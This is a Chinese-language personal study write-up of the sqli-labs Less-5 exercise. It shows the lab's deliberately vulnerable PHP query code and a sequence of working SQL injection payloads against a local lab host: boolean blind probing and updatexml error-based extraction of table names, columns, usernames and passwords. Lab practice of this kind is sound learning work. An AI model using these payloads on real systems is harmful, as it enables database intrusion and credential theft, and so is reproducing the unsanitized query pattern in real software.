Sqli-labs2

补充:这是之前暑假学习的时候总结的,很多记不清了,而且当时没用小皮面板配置环境,mysql用的新的8+的,明天重新写一篇

Less-5:双注入GET单引号字符型注入

Get-Double Injection-Single Quotes-String

补充

as : 别名 
floor: 向下舍入为指定小数位数
ceiling: 向上舍入为指定小数位数
rand: 返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值
group by: GROUP BY必须得配合聚合函数来用,根据字段来分类
count:计数,返回查询对象的总数
CONCAT 函数用于将两个字符串连接为一个字符串

双注入:嵌套子查询,多走一条查询或者数据排序途经,获取想要的数据

报错注入:利用MySQL报错输出相关信息

布尔盲注

这里只是尝试学习布尔盲注各种方法

  1. 查看源码发现不再返回数据库信息,但是正确时会返回"You are in..........."

    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
    
    // connectivity 
    
    
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
    
        if($row)
        {
    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    echo "<br>";
      echo "</font>";
    }
  2. 可以尝试验证

    http://192.168.7.1/Less-5/?id=1' and left(version(),1)=8--#

显示页面,这里验证的时我们数据库的版本,我的是8,所以对了才显示

image-20210822164356755.png

image-20210822164447127.png

  1. 查看数据库名字长度,为8

    http://192.168.7.1/Less-5/?id=1' and length(database())=8--+

请输入图片描述

  1. 猜测数据库第一位,其实可以用burpsuite来截包爆破

    http://192.168.7.1/Less-5/?id=1' and left(database(),1)>'s'--+

到s前都正确,说明数据库名开头为s

image-20210822164952091.png

  1. 可以利用substr和ascii来尝试获得表名,这里的获得第一个表的第一个字母e

    http://192.168.7.1/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
  2. 获取表名后利用regexp来获取数据库中users表中的列

    http://192.168.7.1/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^usern[a-z]' limit 0,1)--+

SQL中的正则表达式(REGEXP)及通用正则表达式的基本表达式理解_梨木乔-CSDN博客

  1. 利用ord()和mid()获取users表内容,68为D

    http://192.168.7.1/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
ifnull() 函数   
语法:IFNULL(expression, alt_value)

ifnull() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。所以上面的语句就是 cast(username AS CHAR) 的值不为null,就输出,为null就输出0x20,而0x20又是空格。

cast() 函数-----类型转换

语法:cast(value as type);

获取一个类型的值,并产生另一个类型的值。

以上是复杂而又恶心的布尔盲注

双注入法

我去!我用的mysql8新增属性里修正了这个报错注入 没法做了。。。

先尝试mysql8吧,phpstudy mysql版本一时改不好,还在用自己配的MySQL

  1. 用了个Less-2中的payload(MySQL8好像没修正这个漏洞)

    http://192.168.7.1/Less-5/?id=1' union select updatexml(1,concat(0x7e,database(),0x7e),1)--+

image-20210822211730451.png

爆出了数据库名,接下来还可以用这法爆别的

  1. 接着爆数据表名

    http://192.168.7.1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

image-20210822212813141.png

  1. 接着爆数据表中的列名

    http://192.168.7.1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

image-20210822213005388.png

  1. 爆用户名和密码

    http://192.168.7.1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+

这里会显示的是

image-20210822225820274.png

由于updatexml的限制能查询字符串的最大长度为32,因此要想看到其他的用substring()函数截取,一次查看32位

http://192.168.7.1/Less-5/?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),32,32),0x7e),1)--+

image-20210822230154450.png

这里就大功告成了

如果以后装好MySQL7就参考就这个吧sql注入--双查询报错注入_老夏家的云-CSDN博客

最后修改:2022 年 01 月 27 日
如果觉得我的文章对你有用,请随意赞赏